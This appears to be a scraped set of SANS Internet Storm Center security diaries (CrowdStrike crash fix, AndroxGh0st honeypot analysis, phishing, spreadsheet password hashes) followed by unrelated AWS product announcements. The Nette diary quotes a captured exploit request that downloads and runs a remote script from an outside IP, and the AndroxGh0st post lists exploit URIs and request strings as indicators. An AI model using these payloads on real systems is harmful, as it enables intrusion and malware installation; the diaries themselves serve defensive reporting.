Widespread Windows Crashes Due to Crowdstrike Updates, (Fri, Jul 19th)

This post was originally published on this site

Last night, endpoint security company Crowdstrike released an update that is causing widespread "blue screens of death" (BSOD) on Windows systems. Crowdstrike released an advisory, which is only available after logging into the Crowdstrike support platform. A brief public statement can be found here.

Linux and MacOS systems are not affected by this issue.

The quickest fix appears to boot the system into "Windows Safemode with Network". This way, Crowdstrike will not start, but the current version may be downloaded and applied, which will fix the issue. This "quick version" of the fix is not part of Crowdstrike's recommendations but may be worth a try if you have many systems to apply the fix to or if you need to talk a non-computer-savvy person through the procedure. Some users have reported that this will succeed.

Casimir Pulaski (@cybermactex) mentioned on X that a simple reboot sometimes works if the latest update was downloaded before the system crashed.

The support portal statement offers the following steps to get affected systems back into business:

CrowdStrike Engineering has identified a content deployment related to this issue and reverted those changes.

Workaround Steps:

1 - Boot Windows into Safe Mode or the Windows Recovery Environment

2 - Navigate to the C:WindowsSystem32driversCrowdStrike directory

3 - Locate the file matching “C-00000291*.sys”, and delete it.

4 - Boot the host normally.

For a Bitlocker-protected system, you will have to provide the recovery key to delete the file.

Virtual systems are easier to fix as you should be able to just shut them down, mount the virtual disk to the host or a different virtual system (Linux? 😉 ), and remove the file.

 

Outages caused by this issue are far-reaching, with users on X reporting issues with Airports, 911 systems, banks, and media outlets. Please be patient with companies/workers affected by the issue.

This isn't the first time that security software has caused system crashes. Frequently, these issues are due to false positives marking system files as malicious.
 


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Who You Gonna Call? AndroxGh0st Busters! [Guest Diary], (Tue, Jul 16th)

This post was originally published on this site

[This is a Guest Diary by Michael Gallant, an ISC intern as part of the SANS.edu BACS program]

                                                                  
                                                                                                  Image generated by DALL-E [8]

Introduction

During my internship at the SANS Internet Storm Center, I was tasked with setting up a honeypot, an internet device intentionally vulnerable, to observe and analyze attack vectors. Among the numerous attacks recorded, one particular observation stood out: the AndroxGh0st malware. This threat targets Laravel web applications and poses major risks to sensitive data. In this post, I aim to share my experience and raise awareness about AndroxGh0st, detailing its exploitation methods and providing strategies to defend against it.

Understanding AndroxGh0st

AndroxGh0st is a Python-scripted malware designed to target .env files that contain sensitive information in web applications, specifically those using the Laravel framework. This malware is part of a botnet operation that primarily aims to steal credentials and abuse other functions such as vulnerability scanning, Simple Mail Transfer Protocol (SMTP), application programming interfaces (APIs), and web shell deployment [1][2].

What is Laravel?

Laravel is an open-source PHP web application development framework. It simplifies development with built-in database interaction, authentication, routing, sessions, and caching features. Laravel is popular for designing web applications such as e-commerce platforms, social networking platforms, APIs (Application Programming Interfaces), and Content Management Systems (CMS). Laravel applications often handle critical data, making them attractive targets for attackers. The added complexity of Laravel can lead to security oversights, providing opportunities for exploitation and including exposed default settings or sensitive files, making it easier for attackers to gain access [3].

                                                                                           Key Characteristics [6]
                                             

AndroxGh0st exploits multiple known vulnerabilities:

CVE-2017-9841: A Remote Code Execution (RCE) vulnerability in PHPUnit.

  • AndroxGh0st malware typically uses scripts to scan for and exploit specific vulnerabilities on websites. One common method is to run PHP code on vulnerable websites using the PHPUnit module. If the /vendor folder is accessible from the internet, attackers can send malicious HTTP POST requests to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php uniform resource identifier (URI), allowing them to execute code remotely.
  • Once inside, attackers use AndroxGh0st to download malicious files to the compromised system. They can also set up fake web pages to maintain backdoor access, enabling them to download more malicious files and access databases.

CVE-2018-15133: The Laravel App Key Deserialization RCE.

  • AndroxGh0st malware creates a botnet to scan for websites using the Laravel framework. It looks for exposed .env files at the root level of the domain, which often contain credentials and tokens. Attackers target these files to steal sensitive information.
  • If an .env file is found, attackers send a GET request to /.env to access its contents. However, they might use a POST request with a specific identifier to the same URI. This method is often used on websites in debug mode, exposing non-production sites to the internet. Successful responses allow attackers to steal usernames, passwords, and credentials for services like email and AWS accounts.
  • Also, AndroxGh0st can exploit the Laravel application key. If the key is found, attackers encrypt the PHP code and send it as a value in the XSRF-TOKEN cookie in a GET request. This exploit allows remote code execution on Laravel applications, allowing attackers to upload files and gain further access to the website

CVE-2021-41773: A directory traversal and RCE vulnerability in the Apache HTTP server.

  • AndroxGh0st attackers scan for vulnerable Apache HTTP Servers (2.4.49 and 2.4.50). They use path traversal attacks to find uniform resource locators (URLs) for files outside the root directory. If these files aren't protected and Common Gateway Interface (CGI) scripts are enabled, attackers can execute code remotely.
  • Once attackers obtain credentials through these methods, they can access sensitive data or use the services for further malicious activities. For example, if they compromise AWS credentials, they might create new users and policies or launch new AWS instances to conduct additional scans [1][3][4].

My interaction with AndroxGh0st

On March 11, 2024, I observed suspicious activities originating from IP address 78.153.140.179. The attacker made 191 connections to my honeypot, targeting TCP port 80 from various source ports and enacting the same HTTP requests. The user-agent string ‘androxgh0st’ was present in these connections, almost like a calling card left behind by the attacker.

                                                                               Sample of the HTTP connections made to TCP/80:
                     

                                                       Sample of sequences with HTTP Requests and different source ports:
                                      

                                      

                                    

Noting the threat actor’s user-agent string and the “androxgh0st” from all POST requests:

                                

                               

                                 

Although my honeypot didn't have an exposed .env file or other specific targets the malware was searching for, the meticulous behavior of AndroxGh0st was evident. Taking an account for the URIs after the successful connections and the incoming POST requests consistently included the "androxgh0st" string, demonstrating the malware's systematic approach to identifying vulnerable Laravel applications.

Am I Being Haunted by AndroxGh0st?

When detecting AndroxGh0st on our systems, we need to be aware of the various indicators of compromise. Provided by CISA/FBI, Juniper Labs, and Lacework Labs, here are some signs that this malware may haunt your system [1][5][7]:

Incoming GET and POST requests to the following URIs:

  • /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
  • /.env

Incoming POST requests with the following strings:

  • [0x%5B%5D=androxgh0st]
  • ImmutableMultiDict([(‘0x[]’, ‘androxgh0st’)])

URIs that were observed and used by the threat actors for credential exfiltration:

                                                     

                                                       An example of attempted credential exfiltration through honeypot:

                                         

                                                                        An example of attempted web-shell drop through honeypot:

                                                  

File Samples:

  • AndroxGh0st python sample f6f240dc2d32bfd83b49025382dc0a1cf86dba587018de4cd96df16197f05d88 
  • AndroxGh0st python sample 3b04f3ae4796d77e5a458fe702612228b773bbdefbb64f20d52c574790b5c81a
  • Linux Miner dropped 23fc51fde90d98daee27499a7ff94065f7ed4ac09c22867ebd9199e025dee066 
  • Linux Miner dropped 6b5846f32d8009e6b54743d6f817f0c3519be6f370a0917bf455d3d114820bbc
  • Linux Miner dropped bb7070cbede294963328119d1145546c2e26709c5cea1d876d234b991682c0b7
  • PHP Webshell ca45a14d0e88e4aa408a6ac2ee3012bf9994b16b74e3c66b588c7eabaaec4d72 
  • PHP Webshell 0df17ad20bf796ed549c240856ac2bf9ceb19f21a8cae2dbd7d99369ecd317ef

Other monikers used instead of AndroxGh0st:

Mitigations: How to Scare Away AndroxGh0st

Protecting your systems from AndroxGh0st requires a broad approach to security. Here are key recommendations to help network defenders reduce the risk and defend against this persistent malware:

Keep Systems Updated

  • Regular Updates: Ensure all operating systems, software, and firmware are up to date and verify that Apache servers are not running vulnerable versions 2.4.49 or 2.4.50.
  • Prioritize Patching: Focus on patching known exploited vulnerabilities in internet-facing systems, including CVE-2017-9841, CVE-2018-15133, and CVE-2021-41773.

Secure Configurations

  • Default Deny Policy: Verify that the default configuration for all URIs is to deny all requests unless required.
  • Disable Debug Mode: Ensure that Laravel applications are not in debug or testing mode, which can expose sensitive information.

Manage Credentials

  • Remove Cloud Credentials: Remove all cloud credentials from .env files and revoke them. Use safer methods provided by cloud providers for temporary, frequently rotated credentials.
  • Review Credential Usage: Conduct a review of previously stored cloud credentials and ongoing reviews for other credentials listed in the .env file. Check for unauthorized access or use on platforms or services associated with these credentials.
  • Encrypt Sensitive Information: Encrypt sensitive information like API keys and credentials, especially in files like .env.
  • Enhance Account Security: Implement multi-factor authentication (MFA) to enhance account security.

Network Security Measures

  • Intrusion Detection Systems (IDS): Implement robust network security measures, including IDS, to detect and block malicious activities.
  • Firewalls: Use firewalls to monitor and control incoming and outgoing network traffic based on predetermined security rules.

Scan for Malicious Files

  • File System Scans: Regularly scan the server's file system for unknown PHP files, specifically in the root directory or /vendor/phpunit/phpunit/src/Util/PHP folder.
  • Monitor Outgoing Requests: Examine outgoing GET requests to file-hosting sites such as GitHub, Pastebin, etc., especially when accessing a .php file.

By implementing these efforts, organizations can greatly reduce the risk of AndroxGh0st infections and improve their overall security posture [1][3].

Conclusion

                                          
                                                                                     Image generated by DALL-E [8]

This post has been enlightening and educational, shining a light on the now less frightening AndroxGh0st malware. While at the SANS Internet Storm Center, encountering and analyzing this malware was challenging and informative. Understanding its methods and implementing robust security measures are crucial in defending against such threats.

By staying alert, regularly updating systems, securing configurations, and managing credentials effectively, we can greatly reduce the risk posed by AndroxGh0st. Remember, being proactive and prepared is our best defense.

Thank you for joining me on this journey. Take care and keep your systems secure!

[1] https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-016a
[2] https://www.bleepingcomputer.com/news/security/fbi-androxgh0st-malware-botnet-steals-aws-microsoft-credentials/
[3] https://blogs.juniper.net/en-us/security/shielding-networks-against-androxgh0st
[4] https://www.lacework.com/blog/androxghost-the-python-malware-exploiting-your-aws-keys
[5] https://github.com/Juniper-ThreatLabs/IoC/blob/main/AndroxGhost%20Indicators.txt
[6] https://thehackernews.com/2024/03/androxgh0st-malware-targets-laravel.html
[7] https://github.com/lacework/lacework-labs/blob/master/blog/androxgh0st_IOCs.csv
[8] https://openai.com/index/dall-e-2/
[9] https://www.sans.edu/cyber-security-programs/bachelors-degree/
———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

"Reply-chain phishing" with a twist, (Tue, Jul 16th)

This post was originally published on this site

Few weeks ago, I was asked by a customer to take a look at a phishing message which contained a link that one of their employees clicked on. The concern was whether the linked-to site was only a generic credential stealing web page or something targeted/potentially more dangerous. Luckily, it was only a run-of-the-mill phishing kit login page, nevertheless, the e-mail message itself turned out to be somewhat more interesting, since although it didn’t look like anything special, it did make it to the recipient’s inbox, instead of the e-mail quarantine where it should have ended up.

The reason for this probably was that the message in question contained what looked like a reply to a previous e-mail exchange. This might have made it appear more trustworthy to the spam/phishing detection mechanisms that were employed to scan it, since – as far as my understanding goes – automated spam/phishing detection mechanisms tend to consider messages with reply-chains to be somewhat more trustworthy than plain, unsolicited e-mails from unknown senders.

It should be mentioned that threat actors commonly use replies to legitimate messages in account takeover/BEC-style phishing attacks, however, in this case, the situation was somewhat different – the original (replied-to) message was from someone not associated with the targeted organization in any way. Use of this approach (i.e., “replying” to a message with no relevance to the recipient) can sometimes be seen in generic phishing, however, if someone receives an e-mail which contains a reply to a message from someone they have never even heard of, it doesn’t exactly make the message appear trustworthy… Which is where the slight twist, which was used in this message, comes in.

In the message, the ”reply” part was hidden from the recipient bellow a long list of empty paragraphs (well, paragraphs containing a non-breaking space). And although this technique is not new, since the aforementioned customer’s IT specialists weren’t aware of it, and a quick Google search failed to provide any write-ups of it, I thought it might be worthwhile to go over it here.

As the following example from my “phishing collection” shows, at first glance, an e-mail messages, in which this technique is used, would look quite normal, and a recipient might not notice anything suspicious (besides the overall “this is an obvious phishing” vibe).

Only if one noticed that the scrollbar on the right side of the window seems to indicate that there is (literally) much more to the message than it appears to be, would one probably discover the text of the original reply-chain… Which, in this instance, is hidden bellow 119 empty paragraphs.

Although the aforementioned technique is hardly the most common (or most dangerous) one when it comes to phishing, since it is being used “in the wild”, a short mention of it might make a good addition to any security awareness training (e.g., something along the lines of “if you see a large scrollbar next to the body of a short e-mail, it is a definite indicator that something is amiss”)…

———–
Jan Kopriva
@jk0pr | LinkedIn
Nettles Consulting

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Protected OOXML Spreadsheets, (Mon, Jul 15th)

This post was originally published on this site

I was asked a question about the protection of an .xlsm spreadsheet. I've written before on the protection of .xls spreadsheets, for example in diary entries "Unprotecting Malicious Documents For Inspection" and "16-bit Hash Collisions in .xls Spreadsheets"; and blog post "Quickpost: oledump.py plugin_biff.py: Remove Sheet Protection From Spreadsheets".

.xlsm spreadsheats (and .xlsx) are OOXML files, and are thus ZIP files containing mostly XML files:

The spreadsheet I'm taking as an example here, has a protected sheet. Let's take a look at the XML file for this sheet by piping zipdump.py's output into xmldump.py:

XML element sheetProtection protects this sheet. If you remove this element, the sheet becomes unprotected.

The password used to protect this sheet, is hashed and the hashvalue is stored as an attribute of element sheetProtection.

Let's print out each attribute on a different line:

The password is hashed hundred thousand times (attribute spinCount) with SHA-512 (attribute algorithmName) together with a salt (attribute saltValue, base64 encoded). This result is stored in attribute hashValue (base64 encoded).

Here is the algorithm in Python:

def CalculateHash(password, salt):
    passwordBytes = password.encode('utf16')[2:]
    buffer = salt + passwordBytes
    hash = hashlib.sha512(buffer).digest()
    for iter in range(100000):
        buffer = hash + struct.pack('<I', iter)
        hash = hashlib.sha512(buffer).digest()
    return hash

def Verify(password, salt, hash):
    hashBytes = binascii.a2b_base64(hash)
    return hashBytes == CalculateHash(password, binascii.a2b_base64(salt))

Spreadsheet protected-all.xlsx is a spreadsheet I created with 3 types of protections: modification protection, workbook protection and sheet protection:

I released a new version of xmldump.py to extract these hashes and format them for hashcat:

For each extracted hash, the lines are:

  1. the name of the containing file
  2. the name of the protecting element (which can be removed should you want to disable that particular protection)
  3. the hashcat compatibel hash (hash mode 25300)
  4. a hashcat command to crack this hash with a wordlist

You can imagine that cracking these hashes with hashcat is rather slow, because 100,000 SHA-256 hash operations need to be executed for each candidate password. On a desktop with a NVIDIA GeForce RTX 3080 GPU, I got around 24,000 hashes per second.

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

16-bit Hash Collisions in .xls Spreadsheets, (Sat, Jul 13th)

This post was originally published on this site

A couple years ago, in diary entry "Unprotecting Malicious Documents For Inspection" I explain how .xls spreadsheets are password protected (but not encrypted). And in follow-up diary entry "Maldocs: Protection Passwords", I talk about an update to my oledump plugin plugin_biff.py to crack these passwords using password lists (by default, an embedded password list is used that is taken from the 2011 public-domain default password list used by John The Ripper).

Attacks against the "Nette" PHP framework CVE-2020-15227, (Fri, Jul 12th)

This post was originally published on this site

Today, I noticed some exploit attempts against an older vulnerability in the "Nette Framework", CVE-2020-15227 [1].

Nette is a PHP framework that simplifies the development of web applications in PHP. In 2020, an OS command injection vulnerability was found and patched in Nette. As so often with OS command injection, exploitation was rather straightforward. An exploit was released soon after.

Today, I noticed yet another variation of an exploit vor CVE-2020-15227:

 /nette.micro/?callback=shell_exec&cmd=cd%20/tmp;wget%20http://199.204.98.254/ohshit.sh;chmod%20777%20ohshit.sh;./ohshit.sh

Even though the exploit is old, and the line above loads a simple DDoS agent, the agent itself has not been uploaded to Virustotal yet [2]. 

The malware was written in Go, and Virustotal's "Behaviour" analysis does a pretty good job in summarizing the binary.

  • The binary uses crontab and systemd for persistence.
  • it uses sosbot.icu on port 1314 for command and control
  •  

[1] https://github.com/nette/application/security/advisories/GHSA-8gv3-3j7f-wg94
[2] https://www.virustotal.com/gui/file/8325bfc699f899d0190e36ea339540ea0590aea0e1b22b8a2dcec3ff8b5763b8


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Understanding SSH Honeypot Logs: Attackers Fingerprinting Honeypots, (Thu, Jul 11th)

This post was originally published on this site

Some of the commands observed can be confusing for a novice looking at ssh honeypot logs. Sure, you have some obvious commands like "uname -a" to fingerprint the kernel. However, other commands are less intuitive and are not commands a normal user would use. I am trying to summarize some of the more common ones here, focusing on commands attackers use to figure out if they are inside a honeypot.

Vector search for Amazon MemoryDB is now generally available

This post was originally published on this site

Today, we are announcing the general availability of vector search for Amazon MemoryDB, a new capability that you can use to store, index, retrieve, and search vectors to develop real-time machine learning (ML) and generative artificial intelligence (generative AI) applications with in-memory performance and multi-AZ durability.

With this launch, Amazon MemoryDB delivers the fastest vector search performance at the highest recall rates among popular vector databases on Amazon Web Services (AWS). You no longer have to make trade-offs around throughput, recall, and latency, which are traditionally in tension with one another.

You can now use one MemoryDB database to store your application data and millions of vectors with single-digit millisecond query and update response times at the highest levels of recall. This simplifies your generative AI application architecture while delivering peak performance and reducing licensing cost, operational burden, and time to deliver insights on your data.

With vector search for Amazon MemoryDB, you can use the existing MemoryDB API to implement generative AI use cases such as Retrieval Augmented Generation (RAG), anomaly (fraud) detection, document retrieval, and real-time recommendation engines. You can also generate vector embeddings using artificial intelligence and machine learning (AI/ML) services like Amazon Bedrock and Amazon SageMaker and store them within MemoryDB.

Which use cases would benefit most from vector search for MemoryDB?
You can use vector search for MemoryDB for the following specific use cases:

1. Real-time semantic search for retrieval-augmented generation (RAG)
You can use vector search to retrieve relevant passages from a large corpus of data to augment a large language model (LLM). This is done by taking your document corpus, chunking them into discrete buckets of texts, and generating vector embeddings for each chunk with embedding models such as the Amazon Titan Multimodal Embeddings G1 model, then loading these vector embeddings into Amazon MemoryDB.

With RAG and MemoryDB, you can build real-time generative AI applications to find similar products or content by representing items as vectors, or you can search documents by representing text documents as dense vectors that capture semantic meaning.

2. Low latency durable semantic caching
Semantic caching is a process to reduce computational costs by storing previous results from the foundation model (FM) in-memory. You can store prior inferenced answers alongside the vector representation of the question in MemoryDB and reuse them instead of inferencing another answer from the LLM.

If a user’s query is semantically similar based on a defined similarity score to a prior question, MemoryDB will return the answer to the prior question. This use case will allow your generative AI application to respond faster with lower costs from making a new request to the FM and provide a faster user experience for your customers.

3. Real-time anomaly (fraud) detection
You can use vector search for anomaly (fraud) detection to supplement your rule-based and batch ML processes by storing transactional data represented by vectors, alongside metadata representing whether those transactions were identified as fraudulent or valid.

The machine learning processes can detect users’ fraudulent transactions when the net new transactions have a high similarity to vectors representing fraudulent transactions. With vector search for MemoryDB, you can detect fraud by modeling fraudulent transactions based on your batch ML models, then loading normal and fraudulent transactions into MemoryDB to generate their vector representations through statistical decomposition techniques such as principal component analysis (PCA).

As inbound transactions flow through your front-end application, you can run a vector search against MemoryDB by generating the transaction’s vector representation through PCA, and if the transaction is highly similar to a past detected fraudulent transaction, you can reject the transaction within single-digit milliseconds to minimize the risk of fraud.

Getting started with vector search for Amazon MemoryDB
Look at how to implement a simple semantic search application using vector search for MemoryDB.

Step 1. Create a cluster to support vector search
You can create a MemoryDB cluster to enable vector search within the MemoryDB console. Choose Enable vector search in the Cluster settings when you create or update a cluster. Vector search is available for MemoryDB version 7.1 and a single shard configuration.

Step 2. Create vector embeddings using the Amazon Titan Embeddings model
You can use Amazon Titan Text Embeddings or other embedding models to create vector embeddings, which is available in Amazon Bedrock. You can load your PDF file, split the text into chunks, and get vector data using a single API with LangChain libraries integrated with AWS services.

import redis
import numpy as np
from langchain.document_loaders import PyPDFLoader
from langchain.text_splitter import RecursiveCharacterTextSplitter
from langchain.embeddings import BedrockEmbeddings

# Load a PDF file and split document
loader = PyPDFLoader(file_path=pdf_path)
        pages = loader.load_and_split()
        text_splitter = RecursiveCharacterTextSplitter(
            separators=["nn", "n", ".", " "],
            chunk_size=1000,
            chunk_overlap=200,
        )
        chunks = loader.load_and_split(text_splitter)

# Create MemoryDB vector store the chunks and embedding details
client = RedisCluster(
        host=' mycluster.memorydb.us-east-1.amazonaws.com',
        port=6379,
        ssl=True,
        ssl_cert_reqs="none",
        decode_responses=True,
    )

embedding =  BedrockEmbeddings (
           region_name="us-east-1",
 endpoint_url=" https://bedrock-runtime.us-east-1.amazonaws.com",
    )

#Save embedding and metadata using hset into your MemoryDB cluster
for id, dd in enumerate(chucks*):
     y = embeddings.embed_documents([dd])
     j = np.array(y, dtype=np.float32).tobytes()
     client.hset(f'oakDoc:{id}', mapping={'embed': j, 'text': chunks[id] } )

Once you generate the vector embeddings using the Amazon Titan Text Embeddings model, you can connect to your MemoryDB cluster and save these embeddings using the MemoryDB HSET command.

Step 3. Create a vector index
To query your vector data, create a vector index using theFT.CREATE command. Vector indexes are also constructed and maintained over a subset of the MemoryDB keyspace. Vectors can be saved in JSON or HASH data types, and any modifications to the vector data are automatically updated in a keyspace of the vector index.

from redis.commands.search.field import TextField, VectorField

index = client.ft(idx:testIndex).create_index([
        VectorField(
            "embed",
            "FLAT",
            {
                "TYPE": "FLOAT32",
                "DIM": 1536,
                "DISTANCE_METRIC": "COSINE",
            }
        ),
        TextField("text")
        ]
    )

In MemoryDB, you can use four types of fields: numbers fields, tag fields, text fields, and vector fields. Vector fields support K-nearest neighbor searching (KNN) of fixed-sized vectors using the flat search (FLAT) and hierarchical navigable small worlds (HNSW) algorithm. The feature supports various distance metrics, such as euclidean, cosine, and inner product. We will use the euclidean distance, a measure of the angle distance between two points in vector space. The smaller the euclidean distance, the closer the vectors are to each other.

Step 4. Search the vector space
You can use FT.SEARCH and FT.AGGREGATE commands to query your vector data. Each operator uses one field in the index to identify a subset of the keys in the index. You can query and find filtered results by the distance between a vector field in MemoryDB and a query vector based on some predefined threshold (RADIUS).

from redis.commands.search.query import Query

# Query vector data
query = (
    Query("@vector:[VECTOR_RANGE $radius $vec]=>{$YIELD_DISTANCE_AS: score}")
     .paging(0, 3)
     .sort_by("vector score")
     .return_fields("id", "score")     
     .dialect(2)
)

# Find all vectors within 0.8 of the query vector
query_params = {
    "radius": 0.8,
    "vec": np.random.rand(VECTOR_DIMENSIONS).astype(np.float32).tobytes()
}

results = client.ft(index).search(query, query_params).docs

For example, when using cosine similarity, the RADIUS value ranges from 0 to 1, where a value closer to 1 means finding vectors more similar to the search center.

Here is an example result to find all vectors within 0.8 of the query vector.

[Document {'id': 'doc:a', 'payload': None, 'score': '0.243115246296'},
 Document {'id': 'doc:c', 'payload': None, 'score': '0.24981123209'},
 Document {'id': 'doc:b', 'payload': None, 'score': '0.251443207264'}]

To learn more, you can look at a sample generative AI application using RAG with MemoryDB as a vector store.

What’s new at GA
At re:Invent 2023, we released vector search for MemoryDB in preview. Based on customers’ feedback, here are the new features and improvements now available:

  • VECTOR_RANGE to allow MemoryDB to operate as a low latency durable semantic cache, enabling cost optimization and performance improvements for your generative AI applications.
  • SCORE to better filter on similarity when conducting vector search.
  • Shared memory to not duplicate vectors in memory. Vectors are stored within the MemoryDB keyspace and pointers to the vectors are stored in the vector index.
  • Performance improvements at high filtering rates to power the most performance-intensive generative AI applications.

Now available
Vector search is available in all Regions that MemoryDB is currently available. Learn more about vector search for Amazon MemoryDB in the AWS documentation.

Give it a try in the MemoryDB console and send feedback to the AWS re:Post for Amazon MemoryDB or through your usual AWS Support contacts.

Channy

Build enterprise-grade applications with natural language using AWS App Studio (preview)

This post was originally published on this site

Organizations often struggle to solve their business problems in areas like claims processing, inventory tracking, and project approvals. Custom business applications could provide a solution to solve these problems and help an organization work more effectively but have historically required a professional development team to build and maintain. But often, development capacity is unavailable or too expensive, leaving businesses using inefficient tools and processes.

Today, we’re announcing a public preview of AWS App Studio. App Studio is a generative artificial intelligence (AI)-powered service that uses natural language to create enterprise-grade applications in minutes, without requiring software development skills.

Here’s a quick look at what App Studio can do. Once I’m signed in to App Studio, I select CREATE A NEW APP using the generative AI assistant. I describe that I need a project approval app. App Studio then generates an app for me, complete with a user interface, data models, and business logic. The entire app generation process is complete in minutes. 

Note: This animation above shows the flow at an accelerated speed for demonstration purposes.

While writing this post, I discovered that App Studio is useful for various technical professionals. IT project managers, data engineers, and enterprise architects can use it to create and manage secure business applications in minutes instead of days. App Studio helps organizations build end-to-end custom applications, and it has two main user roles:

  • Admin – Members in this group can manage groups and roles, create and edit connectors, and maintain visibility into other apps built within their organization. In addition to these permissions, admins can also build apps of their own. To enable and set up App Studio or to learn more about what you can do as an administrator, you can jump to the Getting started with AWS App Studio (preview) section.
  • Builder – Members of the builder group can create, build, and share applications. If you’re more interested in the journey of building applications, you can skip to the Using App Studio as a builder: Creating an application section.

Getting started with AWS App Studio
AWS App Studio integrates with AWS IAM Identity Center, making it easier for me to secure access with the flexibility to integrate with existing single sign-on (SSO) and integration with Lightweight Directory Access Protocol (LDAP). Also, App Studio manages the application deployments and operations, removing the time and effort required to operate applications. Now, I can spend more of my time adding features to an application and customizing it to user needs.

Before I can use App Studio to create my applications, I need to enable the service. Here is how an administrator would set up an App Studio instance.

First, I need to go to the App Studio management console and choose Get started.

As mentioned, App Studio integrates with IAM Identity Center and will automatically detect if you have an existing organization instance in IAM Identity Center. To learn more about the difference between an organization and an account instance on IDC, you can visit the Manage organization and account instances of IAM Identity Center page.

In this case, I don’t have any organization instance, so App Studio will guide me through creating an account instance in IAM Identity Center. Here, as an administrator, I select Create an account instance for me

In the next section, Create users and groups and add them to App Studio, I need to define both an admin and builder group. In this section, I add myself as the admin, and I’ll add users into the builder group later. 

The last part of the onboarding process is to review and check the tick box in the Acknowledgment section, then select Set up.

When the onboarding process is complete, I can see from the Account page that my App Studio is Active and ready to use. At this point, I have a unique App Studio instance URL that I can access.

This onboarding scenario illustrates how you can start without an instance preconfigured in IAM Identity Center . Learn more on the Creating and setting up an App Studio instance for the first time page to understand how to use your existing IAM Identity Center instance. 

Because App Studio created the AWS IAM Identity Center account instance for me, I received an email along with instructions to sign in to App Studio. Once I select the link, I’ll need to create a password for my account and define the multi-factor authentication (MFA) to improve the security posture of my account.

Then, I can sign in to App Studio.

Add additional users (optional)
App Studio uses AWS IAM Identity Center to manage users and groups. This means that if I need to invite additional users into my App Studio instance, I need to do that in IAM Identity Center. 

For example, here’s the list of my users. I can add more users by selecting Add user. Once I’ve finished adding users, they will receive an email with the instructions to activate their accounts.

If I need to create additional groups, I can do so by selecting Create group on the Groups page. The following screenshot shows groups I’ve defined for my account instance in IAM Identity Center.

Using AWS App Studio as an administrator
Now, I’m switching to the App Studio and signing in as an administrator. Here, I can see two main sections: Admin hub and Builder hub.

As an administrator, I can grant users access to App Studio by associating existing user groups with roles in the Roles section:

To map the group I created in my IAM Identity Center, I select Add group and select the Group identifier and Role. There are three roles I can configure: admin, builder, and app user. To understand the difference between each role, visit the Managing access and roles in App Studio page.

As an administrator, I can incorporate various data sources with App Studio using connectors. App Studio provides built-in connectors to integrate with AWS services such as Amazon Aurora, Amazon DynamoDB, and Amazon Simple Storage Service (Amazon S3). It also has a built-in connector for Salesforce and a generic API and OpenAPI connector to integrate with third-party services.

Furthermore, App Studio automatically created a managed DynamoDB connector for me to get started. I also have the flexibility to create additional connectors by selecting Create connector

On this page, I can create other connectors to AWS services. If I need other AWS services, I can select Other AWS services. To learn how to define your IAM role for your connectors, visit Connect App Studio to other services with connectors.

Using App Studio as a builder: Creating an application
As a builder, I can use the App Studio generative AI–powered low-code building environment to create secure applications. To start, I can describe the application that I need in natural language, such as “Build an application to review and process invoices.” Then, App Studio will generate the application, complete with the data models, business logic, and a multipage UI.

Here’s where the fun begins. It’s time for me to build apps in App Studio. On the Builder hub page, I select Create app.

I give it a name, and there are two options for me to build the app: Generate an app with AI or Start from scratch. I select Generate an app with AI

On the next page, I can start building the app by simply describing what I need in the text box. I also can choose sample prompts which are available on the right panel. 

Then, App Studio will prepare app requirements for me. I can improve my plan for the application by refining the prompt and reviewing the updated requirements. Once I’m happy with the results, I select Generate app, and App Studio will generate an application for me.

I found this to be a good experience for me when I started building apps with App Studio. The generative AI capability built into App Studio generated an app for me in minutes, compared to the hours or even days it would have taken me to get to the same point using other tools.

After a few minutes, my app is ready. I also see that App Studio prepares a quick tutorial for me to navigate around and understand different areas. 

There are three main areas in App Studio: PagesAutomations, and Data. I always like to start building my apps by defining the data models first, so let’s navigate to the Data section.

In the Data section, I can model my application data with the managed data store powered by DynamoDB or using the available data connectors. Because I chose to let AI generate this app, I have all the data entities defined for me. If I opted to do it manually, I would need to create entities representing the different data tables and field types for my application.

Once I’m happy with the data entities, I can build visual pages. In this area, I can create the UI for my users. I can add and arrange components like tables, forms, and buttons to create a tailored experience for my end users.

While I’m building the app, I can see the live preview by selecting Preview. This is useful for testing the layout and functionality of my application.

But the highlight for me in these three areas is the Automations. With the automations, I can define rules, workflows, and any actions that define or extend my application’s business logic. Because I chose to build this application with App Studio’s generative AI assistant, it automatically created and wired up multiple different automations needed for my application.

For example, every time a new project is submitted, it will trigger an action to create a project and send a notification email. 

I can also extend my business logic by invoking API callouts, AWS Lambda, or other AWS services. Besides creating the project, I’d also like to archive the project in a flat-file format into an S3 bucket. To do that, I also need to do some processing, and I happen to already have the functionality built in an existing Lambda function.

Here, I select Invoke Lambda, as shown in the previous screenshot. Then, I need to set the ConnectorFunction name, and the Function event payload to pass into my existing Lambda function.

Finally, after I’m happy with all the UI pages, data entities, and automations, I can publish it by selecting Publish. I have the flexibility to publish my app in a Testing or Production environment. This helps me to test my application before pushing it to production.

Join the preview
AWS App Studio is currently in preview, and you can access it in the US West (Oregon) AWS Region, but your applications can connect to your data in other AWS Regions.

Build secure, scalable, and performant custom business applications to modernize and streamline mission-critical tasks with AWS App Studio. Learn more about all the features and functionalities on the AWS App Studio documentation page, and join the conversation in the #aws-app-studio channel in the AWS Developers Slack workspace.

Happy building,

— Donnie

Amazon Q Apps, now generally available, enables users to build their own generative AI apps

This post was originally published on this site

When we launched Amazon Q Business in April 2024, we also previewed Amazon Q Apps. Amazon Q Apps is a capability within Amazon Q Business for users to create generative artificial intelligence (generative AI)–powered apps based on the organization’s data. Users can build apps using natural language and securely publish them to the organization’s app library for everyone to use.

